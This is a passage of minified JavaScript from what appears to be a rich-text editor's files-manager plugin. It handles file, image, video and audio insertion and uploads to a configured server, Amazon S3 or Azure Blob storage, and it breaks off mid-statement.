n=/(?:\.([^.]+))?$/.exec(e.name)[1];return[[".doc","application/msword"],[".docx","application/vnd.openxmlformats-officedocument.wordprocessingml.document"],[".gif","image/gif"],[".jpeg","image/jpeg"],[".jpg","image/jpeg"],[".txt","text/plain"],[".log","type/text"],[".mov","video/quicktime"],[".mp3","audio/mpeg"],[".mp4","video/mp4"],[".ogg","audio/ogg"],[".ogv","video/ogg"],[".pdf","application/pdf"],[".png","image/png"],[".webm","video/webm"],[".webp","image/webp"],[".wmv","video/x-ms-wmv"],[".xls","application/vnd.ms-excel"],[".xlsx","application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"],[".zip","application/x-zip-compressed"]].forEach(function(e,t){e[0]==".".concat(n)&&(a=e[1])}),a}function Le(s,e){if(Ne(Re(O.get(s)))||!Ue(Re(O.get(s)))){var t,a=O.get(s).link,n=O.get(s).text,r=O.get(s).data;!n&&I.get(s)&&I.get(s).name&&(n=I.get(s).name);var i=O.get(s).response;R.edit.on(),R.events.focus(!0),R.selection.restore(),R.opts.fileUseSelectedText&&R.selection.text().length&&(n=R.selection.text());var o='<a href="'.concat(a,'" target="_blank" id="fr-inserted-file" ');if(void 0!==r)for(t in r)r.hasOwnProperty(t)&&"link"!=t&&(o+="".concat(t,'="').concat(r[t],'" '));-1==o.indexOf(' class="')&&(o+='class="fr-file" '),o+=">".concat(n,"</a>"),R.html.insert(o);var l=R.$el.find("#fr-inserted-file");l.removeAttr("id"),R.undo.saveStep(),function T(){var e,t=Array.prototype.slice.call(R.el.querySelectorAll("a.fr-file")),a=[];for(e=0;e<t.length;e++)a.push(t[e].getAttribute("href"));if(le)for(e=0;e<le.length;e++)a.indexOf(le[e].getAttribute("href"))<0&&R.events.trigger("file.unlink",[le[e]]);le=t}(),R.selection.clear(),R.selection.setAfter(l),R.events.trigger("file.inserted",[l,i]),ke(e)}if(De(Re(O.get(s)))&&Ue(Re(O.get(s)))){var c=O.get(s).link,d=O.get(s).sanitize,f=O.get(s).data,p=O.get(s).$existing_img,u=O.get(s).response;p&&"string"==typeof p&&(p=R.$(p)),R.edit.off(),ee(R.language.translate("Loading image")),d&&(c=R.helpers.sanitizeURL(c));var g=new Image;g.onload=function(){var e,t;if(p){R.undo.canDo()||p.hasClass("fr-uploading")||R.undo.saveStep();var a=p.data("fr-old-src");p.data("fr-image-pasted")&&(a=null),R.$wp?((e=p.clone().removeData("fr-old-src").removeClass("fr-uploading").removeAttr("data-fr-image-pasted")).off("load"),a&&p.attr("src",a),p.replaceWith(e)):e=p;for(var n=e.get(0).attributes,r=0;r<n.length;r++){var i=n[r];0===i.nodeName.indexOf("data-")&&e.removeAttr(i.nodeName)}if(void 0!==f)for(t in f)f.hasOwnProperty(t)&&"link"!=t&&e.attr("data-".concat(t),f[t]);e.on("load",Ce),e.attr("src",c),R.edit.on(),R.undo.saveStep(),R.events.disableBlur(),R.$el.blur(),R.events.trigger(a?"image.replaced":"image.inserted",[e,u])}else e=function s(e,t,a){var n,r=x(document.createElement("img")).attr("src",e);if(t&&void 0!==t)for(n in t)t.hasOwnProperty(n)&&"link"!=n&&(" data-".concat(n,'="').concat(t[n],'"'),r.attr("data-".concat(n),t[n]));var i=R.opts.imageDefaultWidth;i&&"auto"!=i&&(i=R.opts.imageResizeWithPercent?"100%":"".concat(i,"px"));r.attr("style",i?"width: ".concat(i,";"):""),ot(r,R.opts.imageDefaultDisplay,R.opts.imageDefaultAlign),r.on("load",a),r.on("error",a),R.edit.on(),R.events.focus(!0),R.selection.restore(),R.undo.saveStep(),R.opts.imageSplitHTML?R.markers.split():R.markers.insert();R.html.wrap();var o=R.$el.find(".fr-marker");o.length?(o.parent().is("hr")&&o.parent().after(o),R.node.isLastSibling(o)&&o.parent().hasClass("fr-deletable")&&o.insertAfter(o.parent()),o.replaceWith(r)):R.$el.append(r);return r}(c,f,Ce),R.undo.saveStep(),R.events.disableBlur(),R.$el.blur(),R.events.trigger("image.inserted",[e,u])},g.onerror=function(){j(D,null,null,s),ke(e)},g.src=c}if((Pe(Re(O.get(s)))||Be(Re(O.get(s))))&&Ue(Re(O.get(s))))if(L=s,"video/url"==Re(O.get(s))){var h=!1;if(document.getElementById("fr-file-autoplay-button-"+s)!==undefined&&(h=document.getElementById("fr-file-autoplay-button-"+s).checked),h&&O.get(s)!==undefined&&-1<O.get(s).video.indexOf("iframe")&&O.get(s).video.indexOf("autoplay=1")<0){var m=O.get(s).video.substring(O.get(s).video.indexOf("src")+3),v="&";(m=(m=m.substring(m.indexOf('"')+1)).substring(0,m.indexOf('"'))).indexOf("?")<0&&(v="?"),O.get(s).video=O.get(s).video.replace(m,m+=v+"autoplay=1&mute=1")}else!h&&O.get(s).video.indexOf(!1)&&(-1<O.get(s).video.indexOf("&autoplay=1")&&(O.get(s).video=O.get(s).video.replace("&autoplay=1","")),-1<O.get(s).video.indexOf("?autoplay=1")&&(O.get(s).video=O.get(s).video.replace("?autoplay=1","")));R.events.focus(!0),R.selection.restore(),R.html.insert('<span contenteditable="false" draggable="true" class="fr-jiv fr-video fr-deletable">'.concat(O.get(s).video,"</span>"),!1,R.opts.videoSplitHTML),R.popups.hide("filesManager.insert");var b=R.$el.find(".fr-jiv");b.removeClass("fr-jiv"),b.toggleClass("fr-rv",R.opts.videoResponsive),function k(e,t,a){!R.opts.htmlUntouched&&R.opts.useClasses?(e.removeClass("fr-fvl fr-fvr fr-dvb fr-dvi"),e.addClass("fr-fv".concat(a[0]," fr-dv").concat(t[0]))):"inline"==t?(e.css({display:"inline-block"}),"center"==a?e.css({"float":"none"}):"left"==a?e.css({"float":"left"}):e.css({"float":"right"})):(e.css({display:"block",clear:"both"}),"left"==a?e.css({textAlign:"left"}):"right"==a?e.css({textAlign:"right"}):e.css({textAlign:"center"}))}(b,R.opts.videoDefaultDisplay,R.opts.videoDefaultAlign),b.toggleClass("fr-draggable",R.opts.videoMove),R.events.trigger("video.inserted",[b]),Ce.call(b)}else{var E=O.get(s).link,_=O.get(s).sanitize,w=O.get(s).data,y=O.get(s).$existing_img,A=O.get(s).response;R.edit.off(),_&&(E=R.helpers.sanitizeURL(E)),function S(){var e,t;if(y){R.undo.canDo()||y.find("video").hasClass("fr-uploading")||R.undo.saveStep();var a=y.find("video").data("fr-old-src"),n=y.data("fr-replaced");y.data("fr-replaced",!1),R.$wp?((e=y.clone(!0)).find("video").removeData("fr-old-src").removeClass("fr-uploading"),e.find("video").off("canplay"),a&&y.find("video").attr("src",a),y.replaceWith(e)):e=y;for(var r=e.find("video").get(0).attributes,i=0;i<r.length;i++){var o=r[i];0===o.nodeName.indexOf("data-")&&e.find("video").removeAttr(o.nodeName)}if(void 0!==w)for(t in w)w.hasOwnProperty(t)&&"link"!=t&&e.find("video").attr("data-".concat(t),w[t]);e.find("video").on("canplay",Ce),e.find("video").attr("src",E),R.edit.on(),Te(),R.undo.saveStep(),R.$el.blur(),R.events.trigger(n?"video.replaced":"video.inserted",[e,A])}else e=function u(e,t,a,n,r){var i,o="";if(t&&void 0!==t)for(i in t)t.hasOwnProperty(i)&&"link"!=i&&(o+=" data-".concat(i,'="').concat(t[i],'"'));var s,l=R.opts.videoDefaultWidth;l&&"auto"!=l&&(l="".concat(l,"px"));if(Be(n))s=x(document.createElement("span")).attr("contenteditable","false").attr("draggable","true").attr("class","fr-video fr-dv"+R.opts.videoDefaultDisplay[0]+("center"!=R.opts.videoDefaultAlign?" fr-fv"+R.opts.videoDefaultAlign[0]:"")).html('<audio src="'+e+'" '+o+" controls>"+R.language.translate("Your browser does not support HTML5 video.")+"</audio>");else{var c="",d=document.getElementById("fr-file-autoplay-button-"+r).checked;d&&(c="autoplay"),s=x(document.createElement("span")).attr("contenteditable","false").attr("draggable","true").attr("class","fr-video fr-dv"+R.opts.videoDefaultDisplay[0]+("center"!=R.opts.videoDefaultAlign?" fr-fv"+R.opts.videoDefaultAlign[0]:"")).html('<video src="'+e+'" '+o+(l?' style="width: '+l+';" ':"")+c+" controls>"+R.language.translate("Your browser does not support HTML5 video.")+"</video>")}s.toggleClass("fr-draggable",R.opts.videoMove),R.edit.on(),R.events.focus(!0),R.selection.restore(),R.undo.saveStep(),R.opts.videoSplitHTML?R.markers.split():R.markers.insert();R.html.wrap();var f=R.$el.find(".fr-marker");R.node.isLastSibling(f)&&f.parent().hasClass("fr-deletable")&&f.insertAfter(f.parent());f.replaceWith(s);var p="";p=Be(n)?"audio":"video",s.find(p).get(0).readyState>s.find(p).get(0).HAVE_FUTURE_DATA||R.helpers.isIOS()?a.call(s.find(p).get(0)):(s.find(p).on("canplaythrough load",a),s.find(p).on("error",a));return s}(E,w,Ce,Re(O.get(s)),s),Te(),R.undo.saveStep(),R.events.trigger("video.inserted",[e,A])}()}R.popups.hide("filesManager.insert"),F["delete"](s);var C=R.popups.get("filesManager.insert");C.find("input.fr-insert-attr.fr-checkbox-file-".concat(s))[0].checked=!1,C.find(".fr-file-"+s).get(0).classList.add("fr-unchecked"),q(),document.getElementById("fr-file-autoplay-button-"+s)&&(document.getElementById("fr-file-autoplay-button-"+s).checked=!1),M=M.filter(function(e){return e!=s})}function xe(e,t){try{if(!1===R.events.trigger("filesManager.uploaded",[e],!0))return R.edit.on(),!1;var a=JSON.parse(e);return a.link?a:(j(m,e,null,t),!1)}catch(n){return j(S,e,null,t),!1}}function Ie(e,t){try{var a=x(e).find("Location").text(),n=x(e).find("Key").text();return!1===R.events.trigger("filesManager.uploadedToS3",[a,n,e],!0)?(R.edit.on(),!1):a}catch(r){return j(S,e,null,t),!1}}function Oe(e,t,a,n){if(-1<U.indexOf(Re(e))||!Re(e))return j(P,null,null,n),!1;if(!1===R.events.trigger("filesManager.beforeUpload",[t]))return!1;if(!(null!==R.opts.filesManagerUploadURL&&R.opts.filesManagerUploadURL!=y||R.opts.filesManagerUploadToS3||R.opts.filesManagerUploadToAzure))return function E(s,l,c){var d=new FileReader;d.onload=function(){var e=d.result;if(d.result.indexOf("svg+xml")<0){for(var t=atob(d.result.split(",")[1]),a=[],n=0;n<t.length;n++)a.push(t.charCodeAt(n));if(e=window.URL.createObjectURL(new Blob([new Uint8Array(a)],{type:Re(l)})),De(Re(l))){var r={link:e,sanitize:!1,data:null,$existing_img:c,response:null,type:Re(l)};O.set(s,r)}if(Ne(Re(l))){var i={link:e,text:l.name,response:null,type:Re(l)};O.set(s,i)}if(Pe(Re(l))||Be(Re(l))){var o={link:e,sanitize:!1,data:null,$existing_img:c,type:Re(l)};O.set(s,o)}}},d.readAsDataURL(l)}(n,e),!1;if(De(Re(e))&&(e.name||(e.name=(new Date).getTime()+"."+(Re(e)||"image/jpeg").replace(/image\//g,""))),e.size>R.opts.filesManagerMaxSize)return j(N,null,null,n),!1;if(R.opts.filesManagerAllowedTypes.indexOf("*")<0&&R.opts.filesManagerAllowedTypes.indexOf(Re(e))<0)return j(P,null,null,n),!1;var r;if(function _(e){isNaN(e)||(R.popups.get("filesManager.insert").find(".fr-file-item-right-"+e).get(0).innerHTML='<div class=\'fr-file-item-action-buttons\' >\n <button type="button" id="fr-file-cancel-upload-button-'.concat(e,'" class="fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons \n fr-file-button-').concat(e,' fr-file-cancel-upload-button" data-cmd="cancelUpload" data-title="Cancel" data-param1="').concat(e,'" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "-2 3 30 30" xlmns = "http://w3.org/200/svg"><path d = \'M13.4,12l5.6,5.6L17.6,19L12,13.4L6.4,19L5,17.6l5.6-5.6L5,6.4L6.4,5l5.6,5.6L17.6,5L19,6.4L13.4,12z\'></path></svg>\n </button>\n\n <button type="button" id="fr-upload-delete-button-').concat(e,'" class="fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons \n fr-file-button-').concat(e,' fr-upload-delete-button" data-cmd="deleteUpload" data-title="Delete" data-param1="').concat(e,'" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "-2 3 30 30" xlmns = "http://w3.org/200/svg"><path d = \'M15,10v8H9v-8H15 M14,4H9.9l-1,1H6v2h12V5h-3L14,4z M17,8H7v10c0,1.1,0.9,2,2,2h6c1.1,0,2-0.9,2-2V8z\'></path></svg>\n </button>\n\n <div class=\'progress-circle p0 fr-file-progress-circle-').concat(e,"'>\n <span class='fr-file-upload-percent-").concat(e," fr-file-upload-percent'>0%</span>\n <div class='left-half-clipper'>\n <div class='first50-bar'></div>\n <div class='value-bar'></div>\n </div>\n </div>\n </div>"),C.set(e,0))}(n),R.drag_support.formdata&&(r=R.drag_support.formdata?new FormData:null),r){var i;if(!1!==R.opts.filesManagerUploadToS3)for(i in r.append("key",R.opts.filesManagerUploadToS3.keyStart+(new Date).getTime()+"-"+(e.name||"untitled")),r.append("success_action_status","201"),r.append("X-Requested-With","xhr"),r.append("Content-Type",Re(e)),R.opts.filesManagerUploadToS3.params)R.opts.filesManagerUploadToS3.params.hasOwnProperty(i)&&r.append(i,R.opts.filesManagerUploadToS3.params[i]);for(i in R.opts.filesManagerUploadParams)R.opts.filesManagerUploadParams.hasOwnProperty(i)&&r.append(i,R.opts.filesManagerUploadParams[i]);r.append(R.opts.filesManagerUploadParam,e,e.name);var o,s,l=R.opts.filesManagerUploadURL;R.opts.filesManagerUploadToS3&&(l=R.opts.filesManagerUploadToS3.uploadURL?R.opts.filesManagerUploadToS3.uploadURL:"https://".concat(R.opts.filesManagerUploadToS3.region,".amazonaws.com/").concat(R.opts.filesManagerUploadToS3.bucket)),R.opts.filesManagerUploadToAzure&&(l=R.opts.filesManagerUploadToAzure.uploadURL?"".concat(R.opts.filesManagerUploadToAzure.uploadURL,"/").concat(e.name):encodeURI("https://".concat(R.opts.filesManagerUploadToAzure.account,".blob.core.windows.net/").concat(R.opts.filesManagerUploadToAzure.container,"/").concat(e.name)),o=l,R.opts.filesManagerUploadToAzure.SASToken&&(l+=R.opts.filesManagerUploadToAzure.SASToken),R.opts.filesManagerUploadMethod="PUT");var c=R.core.getXHR(l,R.opts.filesManagerUploadMethod);if(R.opts.filesManagerUploadToAzure){var d=(new Date).toUTCString();if(!R.opts.filesManagerUploadToAzure.SASToken&&R.opts.filesManagerUploadToAzure.accessKey){var f=R.opts.filesManagerUploadToAzure.account,p=R.opts.filesManagerUploadToAzure.container;if(R.opts.filesManagerUploadToAzure.uploadURL){var u=R.opts.filesManagerUploadToAzure.uploadURL.split("/");p=u.pop(),f=u.pop().split(".")[0]}var g="x-ms-blob-type:BlockBlob\nx-ms-date:".concat(d,"\nx-ms-version:2019-07-07"),h=encodeURI("/"+f+"/"+p+"/"+e.name),m=R.opts.filesManagerUploadMethod+"\n\n\n"+e.size+"\n\n"+Re(e)+"\n\n\n\n\n\n\n"+g+"\n"+h,v=R.cryptoJSPlugin.cryptoJS.HmacSHA256(m,R.cryptoJSPlugin.cryptoJS.enc.Base64.parse(R.opts.filesManagerUploadToAzure.accessKey)).toString(R.cryptoJSPlugin.cryptoJS.enc.Base64),b="SharedKey "+f+":"+v;s=v,c.setRequestHeader("Authorization",b)}for(i in c.setRequestHeader("x-ms-version","2019-07-07"),c.setRequestHeader("x-ms-date",d),c.setRequestHeader("Content-Type",Re(e)),c.setRequestHeader("x-ms-blob-type","BlockBlob"),R.opts.filesManagerUploadParams)R.opts.filesManagerUploadParams.hasOwnProperty(i)&&c.setRequestHeader(i,R.opts.filesManagerUploadParams[i]);for(i in R.opts.filesManagerUploadToAzure.params)R.opts.filesManagerUploadToAzure.params.hasOwnProperty(i)&&c.setRequestHeader(i,R.opts.filesManagerUploadToAzure.params[i])}c.onload=function(){Ne(Re(e))?function g(e,t,a,n,r){var i=this.status,o=this.response,s=this.responseXML,l=this.responseText;try{if(R.opts.filesManagerUploadToS3||R.opts.filesManagerUploadToAzure)if(201===i){var c;if(R.opts.filesManagerUploadToAzure){if(!1===R.events.trigger("filesManager.uploadedToAzure",[this.responseURL,r,o],!0))return R.edit.on(),!1;c=n}else c=Ie(s,t);if(c){var d={link:c,text:e,response:o,type:a};O.set(t,d)}}else j(S,o||s,null,t);else if(200<=i&&i<300){var f=xe(l,t);if(f){var p={link:f.link,text:e,response:o,type:a,data:f};O.set(t,p)}}else j(k,o||l,null,t)}catch(u){j(S,o||l,null,t)}}.call(c,e.name,n,Re(e),o,s):function h(e,t,a,n,r){var i=this.status,o=this.response,s=this.responseXML,l=this.responseText;try{if(R.opts.filesManagerUploadToS3||R.opts.filesManagerUploadToAzure)if(201==i){var c;if(R.opts.filesManagerUploadToAzure){if(!1===R.events.trigger("filesManager.uploadedToAzure",[this.responseURL,r,o],!0))return R.edit.on(),!1;c=n}else c=Ie(s,t);if(c){var d={link:c,sanitize:!1,data:[],$existing_img:e,response:o||s,type:a};O.set(t,d)}}else j(S,o||s,e,t);else if(200<=i&&i<300){var f=xe(l,t);if(f){var p={link:f.link,sanitize:!1,data:f,$existing_img:e,response:o||s,type:a};O.set(t,p)}}else j(k,o||l,e,t)}catch(u){j(S,o||l,e,t)}}.call(c,w,n,Re(e),o,s),T.has(n)||_e(100,n,!0)},c.onerror=function(){j(S,this.response||this.responseText||this.responseXML,null,n)},c.upload.onprogress=function(e){!function a(e,t){e.lengthComputable&&_e(e.loaded/e.total*100|0,t,!1)}(e,n)},c.onabort=function(e){!function a(e,t){j(B,t,w,e)}(n,e)},c.send(R.opts.filesManagerUploadToAzure?e:r),A.set(n,c)}}function Fe(l){R.events.$on(l,"click",".fr-upload-progress-layer",function(e){if(R.helpers.isMobile())return e.stopPropagation(),!1},!0),R.events.$on(l,"dragover dragenter",".fr-upload-progress-layer",function(e){e.preventDefault();for(var t=0;t<e.originalEvent.dataTransfer.types.length;t++)"Files"==e.originalEvent.dataTransfer.types[t]&&(e.originalEvent.dataTransfer.dropEffect="none");return!1},!0),R.events.$on(l,"dragleave dragend",".fr-upload-progress-layer",function(e){return e.preventDefault(),!1},!0),R.events.$on(l,"dragover dragenter",".fr-files-upload-layer",function(e){return x(this).addClass("fr-drop"),(R.browser.msie||R.browser.edge)&&e.preventDefault(),!1},!0),R.events.$on(l,"dragleave dragend",".fr-files-upload-layer",function(e){return x(this).removeClass("fr-drop"),(R.browser.msie||R.browser.edge)&&e.preventDefault(),!1},!0),R.events.$on(l,"click",".fr-insert-checkbox",function(e){if(this.classList.contains("fr-checkbox-disabled"))return this.children.target.disabled=!0,void(this.children.target.checked=!1);var t=parseInt(this.id.split("-").pop());F.set(t,this.children.target.checked);for(var a=l.find('.fr-command[data-cmd="insertAll"]'),n=l.find('.fr-command[data-cmd="deleteAll"]'),r=l.find('input.fr-file-insert-check[type="checkbox"]'),i=r.length,o=!0,s=0;s<i;s++)1==r[s].checked&&(o=!1);if(o?a.addClass("fr-disabled"):a.removeClass("fr-disabled"),o?n.addClass("fr-disabled"):n.removeClass("fr-disabled"),this.children.target.checked)l.find(".fr-file-"+this.id.split("-").pop()).get(0).setAttribute("draggable","true"),l.find(".fr-file-"+this.id.split("-").pop()).get(0).classList.remove("fr-unchecked");else{this.id.split("-").pop();l.find(".fr-file-"+this.id.split("-").pop()).get(0).setAttribute("draggable","false"),l.find(".fr-file-"+this.id.split("-").pop()).get(0).classList.add("fr-unchecked")}}),R.events.$on(l,"click",".fr-file-insert-button",function(e){this.classList.contains("fr-disabled")||Le(parseInt(this.id.split("-").pop()))}),R.events.$on(l,"click",".fr-file-autoplay-button",function(e){if(this.parentNode.classList.contains("fr-checkbox-disabled"))return this.disabled=!0,void(this.checked=!1);Me(parseInt(this.id.split("-").pop()))}),R.events.$on(l,"click",".fr-file-edit-button",function(e){var t=parseInt(this.id.split("-").pop());l.find(".fr-file-edit-button-".concat(t)).hasClass("fr-disabled")||Se(t)}),R.events.$on(l,"click",".fr-file-view-button",function(e){var t=parseInt(this.id.split("-").pop());l.find(".fr-file-view-button-".concat(t)).hasClass("fr-disabled")||function v(e){if(!Ue(Re(O.get(e)))){var t=O.get(e).link,a=O.get(e).link;if(I.get(e)&&I.get(e).name?a=I.get(e).name:O.get(e).text&&(a=O.get(e).text),0===t.indexOf("blob:")&&R.browser.msie&&window.navigator&&window.navigator.msSaveBlob)window.navigator.msSaveBlob(I.get(e),a);else{var n=document.createElement("a");n.href=t,n.download=a,n.click()}return!1}var r=R.popups.get("filesManager.insert");if(0<r.find(".fr-file-view-image-"+e).length)r.find(".fr-file-view-image-"+e)[0].remove();else{for(var i=r.find(".fr-file-view"),o=0;o<i.length;o++)i.get(o).remove();var s=r.find(".fr-file-view-"+e);if(De(Re(O.get(e)))){var l='<div class="fr-file-view-modal">\n <div class="fr-file-view-modal-content">\n <div class="fr-file-view-close">×</div> \n <img src="'+O.get(e).link+"\" class ='fr-file-view-image'/>\n </div>\n </div>";s[0].innerHTML=l+s[0].innerHTML}else if(Pe(Re(O.get(e)))){var c;if(O.get(e).hasOwnProperty("video")){var d=O.get(e).video.substring(O.get(e).video.indexOf("src")+3),f=d.substring(d.indexOf('"')+1);f=f.substring(0,f.indexOf('"')),c='<div class="fr-file-view-modal">\n <div class="fr-file-view-modal-content ">\n <div class="fr-file-view-close">×</div> \n <iframe width="640" height="360" src="'.concat(f+"&autoplay=1&mute=1",'" allow="autoplay" frameborder="0" class = "fr-file-view-image"></iframe>\n </div>\n </div>')}else c='<div class="fr-file-view-modal">\n <div class="fr-file-view-modal-content ">\n <div class="fr-file-view-close">×</div> \n <video controls src="'+O.get(e).link+"\" class ='fr-file-view-image' autoplay></video>\n </div>\n </div>";s[0].innerHTML=c+s[0].innerHTML}else if(Be(Re(O.get(e)))){var p='<div class="fr-file-view-modal">\n <div class="fr-file-view-modal-content ">\n <div class="fr-file-view-close">×</div> \n <audio controls="controls" class =\'fr-file-view-image\' autoplay>\n\n <source src="'.concat(O.get(e).link,'" type="').concat(Re(O.get(e)),'" />\n\n Your browser does not support the audio element.\n </audio>\n </div>\n </div>');s[0].innerHTML=p+s[0].innerHTML}else if(Ne(Re(O.get(e)))){var u=O.get(e).link,g=O.get(e).text;if(u.endsWith(".pdf")||u.endsWith(".txt")){var h='<div class="fr-file-view-modal">\t\n <div class="fr-file-view-modal-content " >\t\n <div class="fr-file-view-close">×</div> \t\n <iframe src="'.concat(u,"\" style='background-color: white;' height='50%' width='50%' title=\"").concat(g,'" class="fr-file fr-file-view-image"></iframe>\t\n </div>\t\n </div>');s[0].innerHTML=h+s[0].innerHTML}else if(0===u.indexOf("blob:")&&R.browser.msie&&window.navigator&&window.navigator.msSaveBlob)window.navigator.msSaveBlob(I.get(e),g);else{var m=document.createElement("a");m.href=u,m.download=g,m.click()}}}}(t)}),R.events.$on(l,"click",".fr-file-delete-button",function(e){X(parseInt(this.id.split("-").pop()))}),R.events.$on(l,"click",".fr-file-cancel-upload-button",function(e){!function a(e){var t=R.popups.get("filesManager.insert");t.find(".fr-file-item-right-"+e).get(0).innerHTML=Ee(e),A.get(e).abort(),we(e,100,!0),t.find(".fr-checkbox-file-"+e).get(0).disabled=!0}(parseInt(this.id.split("-").pop()))}),R.events.$on(l,"click",".fr-upload-delete-button",function(e){!function t(e){0!=A.get(e).readyState&&(A.get(e).abort(),we(e,100,!0),A["delete"](e)),X(e)}(parseInt(this.id.split("-").pop()))}),R.events.$on(l,"click",".fr-file-view-close",function(e){l.find(".fr-file-view-modal").get(0).outerHTML=""}),R.events.$on(l,"click",".fr-plugins-enable",function(e){!function t(){h.forEach(function(e){R.opts.pluginsEnabled.indexOf(e)<0&&R.opts.pluginsEnabled.push(e)})}(),function a(e){for(var t in e)if(!R[t]){if(St.PLUGINS[t]&&R.opts.pluginsEnabled.indexOf(t)<0)continue;R[t]=new e[t](R),R[t]._init&&R[t]._init()}}(St.PLUGINS),R.popups.get("filesManager.insert").get(0).outerHTML="",He(),E(!0)}),R.events.$on(l,"click",".fr-plugins-cancel",function(e){R.popups.hide("filesManager.insert")}),R.events.$on(l,"drop",".fr-upload-progress",function(e){e.preventDefault(),e.stopPropagation()}),R.events.$on(l,"drop",".fr-files-upload-layer",function(e){e.preventDefault(),e.stopPropagation(),x(this).removeClass("fr-drop");var t=e.originalEvent.dataTransfer;if(t&&t.files){var a=l.data("instance")||R;a.events.disableBlur();for(var n=[],r=0;r<t.files.length;r++){var i=g;I.set(i,t.files[r]),me(i),F.set(i,!1),n.push(i),g++}for(var o=0;o<n.length;o++)a.filesManager.upload(I.get(n[o]),t.files,w,n[o]);a.events.enableBlur()}},!0),R.helpers.isIOS()&&R.events.$on(l,"touchstart",'.fr-files-upload-layer input[type="file"]',function(){x(this).trigger("click")},!0),R.events.$on(l,"change",'.fr-files-upload-layer input[type="file"]',function(){if(this.files){var e=l.data("instance")||R;e.events.disableBlur(),l.find("input:focus").blur(),e.events.enableBlur();var t=[];if("undefined"!=typeof this.files&&0<this.files.length){for(var a=0;a<this.files.length;a++){var n=g;I.set(n,this.files[a]),me(n),F.set(n,!1),++g,t.push(n)}for(var r=0;r<t.length;r++)e.filesManager.upload(I.get(t[r]),this.files,w,t[r])}}x(this).val("")},!0)}function Me(t){document.getElementById("fr-file-autoplay-button-"+t).checked?M.push(t):M=M.filter(function(e){return e!=t})}function De(e){return e&&"image"===e.split("/")[0]}function Ne(e){return e&&"image"!=e.split("/")[0]&&e&&"video"!=e.split("/")[0]&&e&&"audio"!=e.split("/")[0]}function Pe(e){return e&&"video"===e.split("/")[0]}function Be(e){return e&&"audio"===e.split("/")[0]}function Ue(e){var t="audio/ogg",a="video/ogg";if(e==t||e==a||"image/webp"==e||"video/webm"==e){if(R.browser.msie||R.browser.edge||R.browser.safari)return!1;if(R.helpers.isMobile()){if(e==t||e==a)return!1;if(!R.helpers.isAndroid()&&!R.browser.chrome)return!1}}return!0}function He(e){if(e)return R.popups.onRefresh("filesManager.insert",b),R.popups.onHide("filesManager.insert",H),!0;var t,a,n="";R.opts.imageUpload||-1===R.opts.filesInsertButtons.indexOf("filesUpload")||R.opts.imageInsertButtons.splice(R.opts.filesInsertButtons.indexOf("filesUpload"),1);var r=R.button.buildList(R.opts.filesInsertButtons),i=R.button.buildList(R.opts.filesInsertButtons2);""!==r&&(n='<div class="fr-buttons fr-tabs">'.concat(r,'<span class="fr-align-right">').concat(i,"</span></div>"));var o=R.opts.filesInsertButtons.indexOf("filesUpload"),s=R.opts.filesInsertButtons.indexOf("filesByURL"),l=R.opts.filesInsertButtons.indexOf("filesEmbed"),c="";0<=o&&(t=" fr-active",0<=s&&s<o&&(t=""),c='<div class="fr-files-upload-layer'.concat(t,' fr-layer " id="fr-files-upload-layer-').concat(R.id,'"><div style="display:flex"><div class="fr-upload-section"><div class = \'fr-blue-decorator\'><div class = \'fr-cloud-icon\'><svg class = "fr-svg" focusable="false" width="26px" height="26px" viewBox = "0 0 24 24" xlmns = "http://w3.org/200/svg"><path d = \'M12 6.66667a4.87654 4.87654 0 0 1 4.77525 3.92342l0.29618 1.50268 1.52794 0.10578a2.57021 2.57021 0 0 1 -0.1827 5.13478H6.5a3.49774 3.49774 0 0 1 -0.3844 -6.97454l1.06682 -0.11341L7.678 9.29387A4.86024 4.86024 0 0 1 12 6.66667m0 -2A6.871 6.871 0 0 0 5.90417 8.37 5.49773 5.49773 0 0 0 6.5 19.33333H18.41667a4.57019 4.57019 0 0 0 0.32083 -9.13A6.86567 6.86567 0 0 0 12 4.66667Zm0.99976 7.2469h1.91406L11.99976 9 9.08618 11.91357h1.91358v3H11V16h2V14h-0.00024Z\'></path></svg></div>Drag & Drop One or More Files<br><div class="fr-decorated"><span> OR </span></div> Click Browse Files </div> </div><div class="fr-form"><input type="file" accept="').concat(R.opts.filesManagerAllowedTypes.join(",").toLowerCase(),'" tabIndex="-1" aria - labelledby="fr-files-upload-layer-').concat(R.id,'"role="button" multiple></div> </div></div>'));var d="";0<=l&&(t=" fr-active",(o<l&&0<=o||s<l&&0<=s)&&(t=""),d='<div class="fr-files-embed-layer fr-layer'.concat(t,'" id="fr-files-embed-layer-').concat(R.id,'"><div class="fr-input-line padding-top-15"><textarea data-gramm_editor="false" style=\'height:60px\' id="fr-files-embed-layer-text').concat(R.id,'" type="text" placeholder="').concat(R.language.translate("Embedded Code"),'" tabIndex="1" aria-required="true" rows="5"></textarea></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="insertEmbed" tabIndex="2" role="button">').concat(R.language.translate("Insert"),"</button></div></div>"));var f="";0<=s&&(t=" fr-active",0<=o&&o<s&&(t=""),f='<div class="fr-files-by-url-layer'.concat(t,' fr-layer" id="fr-files-by-url-layer-').concat(R.id,'"><div class="fr-input-line fr-by-url-padding"><input id="fr-files-by-url-layer-text-').concat(R.id,'" type="text" placeholder="http://" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="filesInsertByURL" tabIndex="2" role="button">').concat(R.language.translate("Add"),"</button></div></div>"));var p={buttons:n,upload_layer:c,by_url_layer:f,embed_layer:d,upload_progress_layer:"<div class = ' fr-margin-16 fr-upload-progress' id=\"fr-upload-progress-layer-".concat(R.id,"\" ><div class='fr-progress-bar-style'><div class='fr-progress-bar fr-none'></div></div><div id='filesList' class = 'fr-upload-progress-layer fr-layer'></div></div>"),progress_bar:'<div class="fr-files-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="filesDismissError" tabIndex="2" role="button">OK</button></div></div>'};return 